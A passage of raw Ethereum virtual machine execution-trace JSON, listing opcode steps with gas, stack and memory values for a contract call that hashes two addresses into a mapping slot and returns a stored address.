"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1742,"op":"JUMPDEST","gas":98231,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1743,"op":"DUP1","gas":98230,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1744,"op":"CALLDATALOAD","gas":98227,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1745,"op":"PUSH1","gas":98224,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1747,"op":"PUSH1","gas":98221,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1749,"op":"PUSH1","gas":98218,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1751,"op":"SHL","gas":98215,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1752,"op":"SUB","gas":98212,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1753,"op":"DUP2","gas":98209,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1754,"op":"AND","gas":98206,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1755,"op":"DUP2","gas":98203,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1756,"op":"EQ","gas":98200,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1757,"op":"PUSH2","gas":98197,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1760,"op":"JUMPI","gas":98194,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x6e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1765,"op":"JUMPDEST","gas":98184,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1766,"op":"SWAP2","gas":98183,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1767,"op":"SWAP1","gas":98180,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1768,"op":"POP","gas":98177,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1769,"op":"JUMP","gas":98175,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1812,"op":"JUMPDEST","gas":98167,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1813,"op":"SWAP1","gas":98166,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1814,"op":"POP","gas":98163,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1815,"op":"SWAP3","gas":98161,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1816,"op":"POP","gas":98158,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1817,"op":"SWAP3","gas":98156,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1818,"op":"SWAP1","gas":98153,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1819,"op":"POP","gas":98150,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1b9","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1820,"op":"JUMP","gas":98148,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":441,"op":"JUMPDEST","gas":98140,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":442,"op":"PUSH1","gas":98139,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":444,"op":"PUSH1","gas":98136,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":446,"op":"SWAP1","gas":98133,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":447,"op":"DUP2","gas":98130,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":448,"op":"MSTORE","gas":98127,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":449,"op":"PUSH1","gas":98124,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":451,"op":"SWAP3","gas":98121,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":452,"op":"DUP4","gas":98118,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":453,"op":"MSTORE","gas":98115,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":454,"op":"PUSH1","gas":98112,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":456,"op":"DUP1","gas":98109,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":457,"op":"DUP5","gas":98106,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":458,"op":"KECCAK256","gas":98103,"gasCost":42,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x40","0x0"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":459,"op":"SWAP1","gas":98061,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":460,"op":"SWAP2","gas":98058,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":461,"op":"MSTORE","gas":98055,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x40","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0x20"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":462,"op":"SWAP1","gas":98052,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":463,"op":"DUP3","gas":98049,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":464,"op":"MSTORE","gas":98046,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":465,"op":"SWAP1","gas":98043,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":466,"op":"KECCAK256","gas":98040,"gasCost":42,"depth":2,"stack":["0xe6a43905","0xd6","0x40","0x0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":467,"op":"SLOAD","gas":97998,"gasCost":100,"depth":2,"stack":["0xe6a43905","0xd6","0x431874daeb80cf49dba3f4eefe37604bc47b25379be3bc67ca2e9bfd0da83096"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":468,"op":"PUSH1","gas":97898,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":470,"op":"PUSH1","gas":97895,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":472,"op":"PUSH1","gas":97892,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":474,"op":"SHL","gas":97889,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":475,"op":"SUB","gas":97886,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":476,"op":"AND","gas":97883,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":477,"op":"DUP2","gas":97880,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":478,"op":"JUMP","gas":97877,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xd6"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":214,"op":"JUMPDEST","gas":97869,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":215,"op":"PUSH1","gas":97868,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":217,"op":"MLOAD","gas":97865,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x40"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":218,"op":"PUSH1","gas":97862,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":220,"op":"PUSH1","gas":97859,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":222,"op":"PUSH1","gas":97856,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":224,"op":"SHL","gas":97853,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x1","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":225,"op":"SUB","gas":97850,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x10000000000000000000000000000000000000000"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":226,"op":"SWAP1","gas":97847,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":227,"op":"SWAP2","gas":97844,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":228,"op":"AND","gas":97841,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":229,"op":"DUP2","gas":97838,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":230,"op":"MSTORE","gas":97835,"gasCost":9,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":231,"op":"PUSH1","gas":97826,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd